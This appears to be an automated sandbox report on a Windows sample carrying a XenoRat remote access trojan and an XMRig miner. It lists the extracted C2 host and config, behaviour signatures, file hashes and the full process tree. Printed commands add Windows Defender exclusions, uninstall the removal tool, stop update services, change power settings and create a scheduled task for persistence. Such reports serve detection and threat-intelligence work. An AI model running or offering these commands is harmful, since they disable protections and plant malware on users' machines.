Analysis

  • max time kernel
    54s
  • max time network
    56s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250207-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250207-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/02/2025, 04:38

General

  • Target
    test.exe
  • Size 4.5MB
  • Sample250215-e9hsxsvldn
  • SHA256 b67d8fc52334fb2309368bf2a738520f1b42436951b211b7896f612b86350c10
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • xenorat

C2
  • hax.onthewifi.com

Mutex
  • hAxxx

Attributes
  • delay

    5000

  • install_path

    appdata

  • port

    1960

  • startup_name

    Windows

Signatures

  • Detect XenoRat Payload 2 IoCs
  • XenorRat

    XenorRat is a remote access trojan written in C#.

  • Xenorat family
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 11 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file 2 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Power Settings 1 TTPs 4 IoCs

    powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • UPX packed file 16 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 5 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 61 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\test.exe
    "C:\Users\Admin\AppData\Local\Temp\test.exe"
    1⤵
    • Checks computer location settings
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2112
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AZgBiACMAPgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGgAcwBjACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcAVwBpAG4AZABvAHcAcwAgAGkAbgBzAHQAYQBsAGwAYQB0AGkAbwBuACAAZQBuAGMAbwB1AG4AdABlAHIAZQBkACAAYQBuACAAdQBuAGUAeABwAGUAYwB0AGUAZAAgAGUAcgByAG8AcgAuACAAVgBlAHIAaQBmAHkAIAB0AGgAYQB0ACAAdABoAGUAIABpAG4AcwB0AGEAbABsAGEAdABpAG8AbgAgAHMAbwB1AHIAYwBlAHMAIABhAHIAZQAgAGEAYwBjAGUAcwBpAGIAbABlACwAIABhAG4AZAAgAHIAZQBzAHQAYQByAHQAIAB0AGgAZQAgAGkAbgBzAHQAYQBsAGwAYQB0AGkAbwBuAC4AJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAHgAZABtACMAPgA="
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2804
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAawByACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHEAbABwACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHkAcABwACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHQAZgBnACMAPgA="
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4192
    • C:\Windows\Downloader_Menu_2.1.exe
      "C:\Windows\Downloader_Menu_2.1.exe"
      2⤵
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3056
      • C:\Users\Admin\cvtres.exe
        C:\Users\Admin\cvtres.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:4988
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\temp_.ps1"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops startup file
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1100
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
            5⤵
            • Drops file in Drivers directory
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:1056
            • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
              6⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1104
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:2136
              • C:\Windows\system32\wusa.exe
                wusa /uninstall /kb:890830 /quiet /norestart
                7⤵
                  PID:4344
              • C:\Windows\system32\sc.exe
                C:\Windows\system32\sc.exe stop UsoSvc
                6⤵
                • Launches sc.exe
                PID:2192
              • C:\Windows\system32\sc.exe
                C:\Windows\system32\sc.exe stop WaaSMedicSvc
                6⤵
                • Launches sc.exe
                PID:3656
              • C:\Windows\system32\sc.exe
                C:\Windows\system32\sc.exe stop wuauserv
                6⤵
                • Launches sc.exe
                PID:3040
              • C:\Windows\system32\sc.exe
                C:\Windows\system32\sc.exe stop bits
                6⤵
                • Launches sc.exe
                PID:4552
              • C:\Windows\system32\sc.exe
                C:\Windows\system32\sc.exe stop dosvc
                6⤵
                • Launches sc.exe
                PID:4152
              • C:\Windows\system32\powercfg.exe
                C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
                6⤵
                • Power Settings
                • Suspicious use of AdjustPrivilegeToken
                PID:1656
              • C:\Windows\system32\powercfg.exe
                C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
                6⤵
                • Power Settings
                • Suspicious use of AdjustPrivilegeToken
                PID:4060
              • C:\Windows\system32\powercfg.exe
                C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
                6⤵
                • Power Settings
                • Suspicious use of AdjustPrivilegeToken
                PID:444
              • C:\Windows\system32\powercfg.exe
                C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
                6⤵
                • Power Settings
                • Suspicious use of AdjustPrivilegeToken
                PID:4812
              • C:\Windows\explorer.exe
                explorer.exe
                6⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3792
      • C:\Users\Admin\AppData\Roaming\risk.exe
        "C:\Users\Admin\AppData\Roaming\risk.exe"
        2⤵
        • Checks computer location settings
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:5048
        • C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe
          "C:\Users\Admin\AppData\Roaming\XenoManager\risk.exe"
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2960
          • C:\Windows\SysWOW64\schtasks.exe
            "schtasks.exe" /Create /TN "Windows" /XML "C:\Users\Admin\AppData\Local\Temp\tmpC331.tmp" /F
            4⤵
            • System Location Discovery: System Language Discovery
            • Scheduled Task/Job: Scheduled Task
            PID:1992
    • C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe
      "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4xOTUuNDMiIHNoZWxsX3ZlcnNpb249IjEuMy4xOTUuNDMiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7QzA2RUEwNzAtNDk4RS00QkYyLUJDQkQtQkRFNUIwNUJDODdFfSIgdXNlcmlkPSJ7NUUxNTQ1MTQtQTFCMi00ODMzLTg5RDUtNUM4OEQ3RDM4NzhDfSIgaW5zdGFsbHNvdXJjZT0ibGltaXRlZCIgcmVxdWVzdGlkPSJ7RDU1M0ZFMzQtQzk3NS00OThELTlFRjUtNUYwOUVBNzY3OEYyfSIgZGVkdXA9ImNyIiBkb21haW5qb2luZWQ9IjAiPjxodyBsb2dpY2FsX2NwdXM9IjIiIHBoeXNtZW1vcnk9IjQiIGRpc2tfdHlwZT0iMiIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiIHByb2R1Y3RfdHlwZT0iNDgiIGlzX3dpcD0iMCIgaXNfaW5fbG9ja2Rvd25fbW9kZT0iMCIvPjxvZW0gcHJvZHVjdF9tYW51ZmFjdHVyZXI9IiIgcHJvZHVjdF9uYW1lPSIiLz48ZXhwIGV0YWc9IiZxdW90O0UreGJBejZZNnNVMTI4OWJTNnFsNFZSTGJramZCVUdUTUpzanJIcjQ0aUk9JnF1b3Q7Ii8-PGFwcCBhcHBpZD0iezhBNjlEMzQ1LUQ1NjQtNDYzYy1BRkYxLUE2OUQ5RTUzMEY5Nn0iIHZlcnNpb249IjEyMy4wLjYzMTIuMTIzIiBuZXh0dmVyc2lvbj0iIiBsYW5nPSJlbiIgYnJhbmQ9IkdHTFMiIGNsaWVudD0iIiBpbnN0YWxsYWdlPSI3IiBpbnN0YWxsZGF0ZXRpbWU9IjE3Mzg5NDU4NjAiIG9vYmVfaW5zdGFsbF90aW1lPSIxMzM4MzQxODIxNjMwOTAwMDAiPjxldmVudCBldmVudHR5cGU9IjMxIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIyMTc5ODYyIiBzeXN0ZW1fdXB0aW1lX3RpY2tzPSI0OTg0Nzg2NDA5Ii8-PC9hcHA-PC9yZXF1ZXN0Pg
      1⤵
      • System Location Discovery: System Language Discovery
      • System Network Configuration Discovery: Internet Connection Discovery
      PID:1880

    Network

          MITRE ATT&CK Enterprise v15

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          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 3KB
          • SHA256 10422c1baedfb15ace78d300754ac7803dff07278a84cedc609371661cdad6a2
          • MD5 SHA1 SHA512

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a
          • MD5 SHA1 SHA512

          risk.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\risk.exe.log
          • Size 226B
          • SHA256 7e750c904c43d27c89e55af809a679a96c0bb63fc511006ffbceffc2c7f6fb7d
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 b7b2504e05c04b3da11cabb4f4b13e28e924dcfa506c874e936998f71a7181fd
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 17KB
          • SHA256 9029701db93653efe4b8c0e32a172bc8dd53190cd5f72985f0628c3228ccbc2b
          • MD5 SHA1 SHA512 SSDEEP

          __PSScriptPolicyTest_lx51oaqq.y1e.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lx51oaqq.y1e.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          tmpC331.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\tmpC331.tmp
          • Size 1KB
          • SHA256 025ef7965c1b7643ff8d71a48c71d62ce4380e3ac6324ecf51f80717a4d61c14
          • MD5 SHA1 SHA512

          risk.exe

          • Path C:\Users\Admin\AppData\Roaming\risk.exe
          • Size 45KB
          • SHA256 af82f7a1ca358d54f5da73409d05360c265f7569fb768218051c7ef2620e66e6
          • MD5 SHA1 SHA512 SSDEEP

          cvtres.exe

          • Path C:\Users\Admin\cvtres.exe
          • Size 5KB
          • SHA256 3a71a978827979baeec7b94607e93a72cf2a51a7204a572f68a3788d83b87d8f
          • MD5 SHA1 SHA512 SSDEEP

          temp.bat

          • Path C:\Users\Admin\temp.bat
          • Size 5.4MB
          • SHA256 d22cb88bfae5285d86cb35c2acba863f85b2e63c241c1959d15ca3416bcb5e4a
          • MD5 SHA1 SHA512 SSDEEP

          temp.ps1

          • Path C:\Users\Admin\temp.ps1
          • Size 1KB
          • SHA256 27f2822ca2be992ebb6e1000aa3a2c39e9b4ff7e257cb45eadda8776d65018a7
          • MD5 SHA1 SHA512

          temp_.bat

          • Path C:\Users\Admin\temp_.bat
          • Size 5.4MB
          • SHA256 a5ad5faab69350449e8fd14adcb262ecb289696d5f0da374891e9eb226824c85
          • MD5 SHA1 SHA512 SSDEEP

          temp_.ps1

          • Path C:\Users\Admin\temp_.ps1
          • Size 1KB
          • SHA256 86af1b7845145745ccaf65bf0dbeb1a981701ad0c6793c2dc93c0c2f2aef8d25
          • MD5 SHA1 SHA512

          Downloader_Menu_2.1.exe

          • Path C:\Windows\Downloader_Menu_2.1.exe
          • Size 4.4MB
          • SHA256 240b3b43f49f5430d9d2e263e857d6e4c9c98af09fe8ae7d9c0e6b7c9eeacfce
          • MD5 SHA1 SHA512 SSDEEP

          memory/1056-124-0x0000000140000000-0x0000000140508000-memory.dmp

          memory/1056-123-0x0000000140000000-0x0000000140508000-memory.dmp

          memory/1100-118-0x00000215F4E30000-0x00000215F4EA6000-memory.dmp

          memory/1100-119-0x00000215F40B0000-0x00000215F40CE000-memory.dmp

          memory/1100-122-0x0000021590000000-0x0000021590006000-memory.dmp

          memory/1100-117-0x00000215F43D0000-0x00000215F4900000-memory.dmp

          memory/1100-104-0x00000215E9C40000-0x00000215E9C62000-memory.dmp

          memory/2804-76-0x0000000007D10000-0x000000000838A000-memory.dmp

          memory/2804-81-0x0000000008940000-0x0000000008EE4000-memory.dmp

          memory/2804-82-0x0000000007A90000-0x0000000007B22000-memory.dmp

          memory/2804-78-0x0000000006B80000-0x0000000006B9A000-memory.dmp

          memory/2804-23-0x0000000005110000-0x0000000005146000-memory.dmp

          memory/2804-30-0x0000000005F80000-0x0000000005FE6000-memory.dmp

          memory/3792-153-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/3792-142-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/3792-159-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/3792-158-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/3792-157-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/3792-155-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/3792-145-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/3792-143-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/3792-147-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/3792-144-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/3792-150-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/3792-151-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/3792-152-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/3792-154-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/3792-146-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/3792-148-0x0000000140000000-0x0000000140848000-memory.dmp

          memory/3792-149-0x0000000000B10000-0x0000000000B30000-memory.dmp

          memory/4192-85-0x0000000006FC0000-0x0000000006FCE000-memory.dmp

          memory/4192-83-0x0000000007010000-0x00000000070A6000-memory.dmp

          memory/4192-61-0x0000000005AF0000-0x0000000005B3C000-memory.dmp

          memory/4192-65-0x0000000006030000-0x0000000006062000-memory.dmp

          memory/4192-66-0x0000000074220000-0x000000007426C000-memory.dmp

          memory/4192-77-0x0000000006A20000-0x0000000006A3E000-memory.dmp

          memory/4192-60-0x0000000005A50000-0x0000000005A6E000-memory.dmp

          memory/4192-79-0x0000000006C50000-0x0000000006CF3000-memory.dmp

          memory/4192-80-0x0000000006DF0000-0x0000000006DFA000-memory.dmp

          memory/4192-52-0x0000000005460000-0x00000000057B4000-memory.dmp

          memory/4192-84-0x0000000006F80000-0x0000000006F91000-memory.dmp

          memory/4192-92-0x0000000007000000-0x0000000007008000-memory.dmp

          memory/4192-86-0x0000000006FD0000-0x0000000006FE4000-memory.dmp

          memory/4192-25-0x0000000004B20000-0x0000000005148000-memory.dmp

          memory/4192-26-0x0000000004AA0000-0x0000000004AC2000-memory.dmp

          memory/4192-88-0x00000000070B0000-0x00000000070CA000-memory.dmp

          memory/4192-29-0x0000000005380000-0x00000000053E6000-memory.dmp

          memory/4988-91-0x000001F1E9DD0000-0x000001F1E9DD8000-memory.dmp

          memory/5048-22-0x00000000000D0000-0x00000000000E2000-memory.dmp